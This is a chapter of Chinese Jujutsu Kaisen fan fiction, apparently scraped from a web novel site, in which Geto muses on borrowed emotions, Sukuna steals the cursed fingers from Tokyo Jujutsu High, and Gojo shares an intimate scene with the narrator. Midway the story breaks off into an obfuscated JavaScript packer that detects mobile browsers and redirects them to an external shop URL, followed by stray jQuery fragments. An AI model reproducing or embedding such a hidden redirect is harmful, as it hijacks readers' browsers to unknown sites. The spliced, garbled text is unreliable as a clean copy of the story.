24.想吃的第二十四天

作品:《[咒回]我想吃掉五条悟

    夏油杰一直觉得,自己现在干的事情,和以前也没有本质的区别。


    祓除,吸收。


    祓除,吸收。


    祓除,吸收。


    唯一的变化,就是对于那些他不感兴趣的咒灵,不会再分出多余的关注,对于那些无关紧要的猴子,也不会再产生更多的憎恶。


    虽然,他还是讨厌猴子。


    他能感觉到,在这副全新的躯体之内,有什么东西正在融合,也有一些不属于他的东西趁虚而入。


    过去的自己,现在的自己,陌生的自己...


    如果咒灵操术的代价是忍受呕吐物的味道污染整个口腔、喉道、乃至身体与关于食物的记忆,那么重生的代价,就是承受构造新生之体的‘基因’所含的一切信息。


    起初他以为只是对味觉的改造,但那甚至是将原本恶心的味道变得美味——这也算代价吗?


    他如此疑惑着。


    直到随着羂索被封印,他也成功找回术式,名为‘目标’的障目之叶飘落,被忽略的巨物就出现在眼前。


    平静的、庞大的、空虚的、陌生的、孤独的巨物——


    名为情绪的巨物。


    他原本以为是自己对死而复生的事实还没有真正接受所以才产生了这么多乱七八糟的念头,但随着独自行动的时间越来越久,情绪对他造成的影响越来越难以忽略,夏油杰这才意识到,如果不想因为自身的虚无感,失去对世界的感知与改造欲,他最好是一直待在那个人身边。


    他也怀疑过,她对此是否知情,又是否是因为知道这种机制存在,所以才放任自己这个可能给她带去麻烦的家伙,任性而为。


    但他后来又打消了这种怀疑,她显然是不知情的。


    与此同时,夏油杰产生猜测,这些情绪的主人其实不是自己,而是另一个人。


    他实在好奇这个问题的答案,所以面对她坦然提出邀约,他总是找理由拒绝,但背地里又偷偷观察。


    有时是用能共享视觉的咒灵,有时是自己躲在远处,不放过那张和自己一样“后天生成”的脸上,任何一丝变化。


    但是没有,没有困扰,没有变化。


    后来他想明白了,他共享的应该不是艾利恩所有的情绪波动,只是存放在她的‘触须’之中的,来自更久远的岁月之前的情绪。


    连她自己都不知道的情绪。


    能让人与人之间发生理解的,不是共性,而是差异。


    夏油杰正是在获得这份微妙的差异之后,才逐渐开始理解对方的一些想法。


    明明拥有足以忽视一切的力量,却向弱者的规则妥协。


    明明最讨厌麻烦,却将会给她带来麻烦的人留在身边。


    明明只要抹消、明明可以抹消——却还是给她的‘计划’留下隐患。


    甚至说到她的计划,本身也满是疑点。


    “你到底想要什么?”


    对方问自己话,夏油杰也这么问过她。


    得到回复,很简单,但也过于简单。


    “想吃掉悟,但是,得是他自愿被我吃掉。”


    “有这么重要吗?”夏油杰问。


    罕见的,对方没有直接回答,而是歪了歪头,反问他:


    “你觉得不该这么重要的什么?”


    “是必须吃掉悟?”


    “必须让他自愿?”


    “还是...进食本身?”


    是最后那个。


    夏油杰在心里回复。


    她应该是听见了,这句他没有说出口的回答。


    “我知道,很多人只把一日三餐当作普通的定律,偶尔才会认真追求某种味道,过分追求食欲上的满足,还会被认为没出息。”


    “你也是这么认为的吧。”


    言语间,那道总能让人感到无处遁形的目光已经刺入双眼,但不会带来刺痛。


    夏油杰没有说话。


    “我没有需要解释的,也不在乎其他人的看法,但是杰。”


    她说。


    “如果是你,我觉得我是能得到理解的。”


    “总有一天,你是会理解我的。”


    无害的月光照进吞噬一切的漆黑,而漆黑的镜面之外,是他自己的表情。


    他下意识躲开那面让人无处遁形的镜子,接着去看镜像之外的部分。


    ‘镜子’本身的部分。


    然后他看到了,一个清浅的微笑。


    而我也会理解你的。


    ‘镜子’说。


    ·


    东京高专的上空突然出现一道人影。


    同时发生的震动,自然而然的被人归结到此人身上。


    然而事实并非如此。


    最初的巨响来自花御与狗卷等人的战斗,专注对手的几人尚且没有发现头顶出现的身影,但就在他们撤退的瞬间,不知是谁先抬的头,在他的惊呼之下,其余人也顺势望去——


    半身赤裸,双手抱臂,而在那之后,还有一双手。


    满身的咒印,以及,覆盖在面孔之上的,另一张面孔。


    最先将这副模样与名讳对上的是加茂宪纪,依据是加茂家收藏的古籍中对两面宿傩的描述。


    尽管这类资料出现了不同版本的答案,但单论特点,倒是统一的突出。


    于是,在看到那副模样之时,加茂宪纪就想到了这位诅咒之王。


    但是...他为什么会出现在这里?


    和花御不同,两面宿傩并没有急于开启一场战斗,并且对他们正在进行中的战场也没有要加入的意思。


    他静立在半空,目光望向远处,似乎在找什么东西。


    对于几人投来的视线,两面宿傩也未予理会。


    就在加茂宪纪一边跑一边疑惑这家伙要在这里发多久呆时,他终于动了。


    目标明确,直冲密林之外的建筑。


    很明显,他想从高专拿走什么东西,但面对突袭的强敌,无论是京都校还是东京高专这边,都已没有余力去阻止了。


    与此同时,针对五条悟的帐终于破开,但当他到场的时候,空中早已不见任何人的踪影。


    他还是按照计划,将现身的特级咒灵赶走,确保学生的安全。


    至于那些早就偷出去给艾利恩销毁的手指...


    这下所有人都看见了,是咒灵偷走的,跟他们可没关系。


    “大家没受伤吧?”


    自认为演技毫无破绽的五条悟轻松的完成了演出,看到学生们虽然一副神色紧张、却并没有受伤痕迹的样子,更加放心的明知故问。


    “老师!好像没有人受伤,但是刚才那个...是宿傩吧?”虎杖悠仁果断举手,借机问出心中的疑问。


    “嗯?宿傩?”


    五条悟怀疑自己听错了。


    就在他怀疑是不是虎杖悠仁认错了的时候,加茂宪纪也应和了一句。


    “虽然没有看见他使用术式,但特征能对上。”


    “然后...他似乎在找什么东西,或许是因为这个,才没有参与战斗。”


    也是因为加茂宪纪的这句提醒,东京校这边迅速反应,当即开始核查封印物,结果就像加茂宪纪猜测的那样,两面宿傩的手指全部失窃,一并被带走的,还有咒胎九相图。


    这些倒是和计划的一样,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17358720|196577||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    但是...两面宿傩到底为什么会出现。


    还是该疑惑,那个长得跟两面宿傩本体一模一样的家伙,到底是哪冒出来的?


    虽然出现了意外,但好在没有出现人员伤亡,第二天的交流赛还是会正常进行,于是短暂的情报交流会结束后,所有人都回到各自的住处休整。


    尽管很想回去一趟,但考虑到至少明面上今天还是发生了咒灵袭击事件,身为战力保障的五条悟,自然是得留下的。


    只是在回到宿舍,看见那只窝在单人椅上的猫时,五条悟也觉得没有回去的必要了。


    不等五条悟走到它身边,假寐的双眼倏然睁开,露出一双镶着金边的黑色圆瞳。


    “这算是自首吗?”


    五条悟笑着问,顺便带上身后的木门。


    就在他转身关门的瞬间,身后一阵能量波动,再一看,哪还有什么黑猫。


    只有一个穿了一身黑的女人,坐在那张单人椅上,手里把玩着一个普普通通的魔方。


    他们都知道,魔方里面封印着什么。


    闻言,女人继续摆动着魔方,直到每一面都变成统一的色彩,魔方还原。


    “是杰的要求,事出突然,没来得及告诉你。”


    五条悟却没接这话,转而提起刚才的画面:


    “为什么是爱子呢?难道比起人类,你更喜欢猫咪的身体吗。”


    “我无所谓。”我摇了摇头,顺手将魔方收进口袋,“只是为了避免被进来的人看见——你在失望什么?”


    五条悟甩了甩脑袋,欲盖弥彰的反问:“有吗?有失望吗?”


    “绝对有。”我不留情面的拆穿。


    五条悟走过来,没有去坐旁边的位置,就这么站在我面前,发现我抬头看他,又在我面前蹲下。


    “如果是爱子的话,现在就能和她一起坐在这里了吧。”


    他垂眼看了看我身下的座位。


    “我可以让给你。”我低头,又抬头看他。


    “重点不是坐下啦,是....”


    五条悟瞪大了双眼,话来不及说完,双手下意识接住倒向怀里的人,柔软冰凉的发丝蹭在脖颈间,存在感比猫咪的毛发更分明。


    更不用提均匀的、落在耳侧的吐息,和突然袭来的熟悉香气,他几乎以为自己不是在教师宿舍,而是已经回家了。


    比起白天,这才是真正的突袭。


    手臂还松松拢在颈后,鼻背似有似无的蹭过皮肤,他低头想看有没有人露出恶作剧得逞的表情,却只看见一个毛茸茸的头顶。


    五条悟试着回忆了一下抱猫的动作,但无论如何也无法复刻在对象是人类的场合,只是在他起身、又坐下的瞬间,双手已经本能的搂住她的肩背和膝弯,等一切结束,他已经坐在自己平时的座位上,怀里的人也和平时一样趴在怀里。


    她甚至还像自己做猫咪的时候一样,随意的蹭出一个舒服的姿势,就这么毫不费力的窝在某人的怀中。


    五条悟觉得自己是该生气的,在她眼里,他跟两人身下的沙发真的有区别吗?


    但当他低头想用眼神去指责或者埋怨时,只看见一双写满理所当然的眼睛。


    这还怎么生气。


    ·


    禅院真希还没睡,尽管时间已经不算早了,再不休息,第二天会不可避免的水肿。


    但她总有一种预感,她最好是先不要睡了。


    那天晚上见到的黑猫,三年级的前辈们口中所说的乙骨的黑猫,白天听到的,已经变成五条悟的黑猫。


    “喵~”


    禅院真希笑了。


    以及,跳到窗边的黑猫。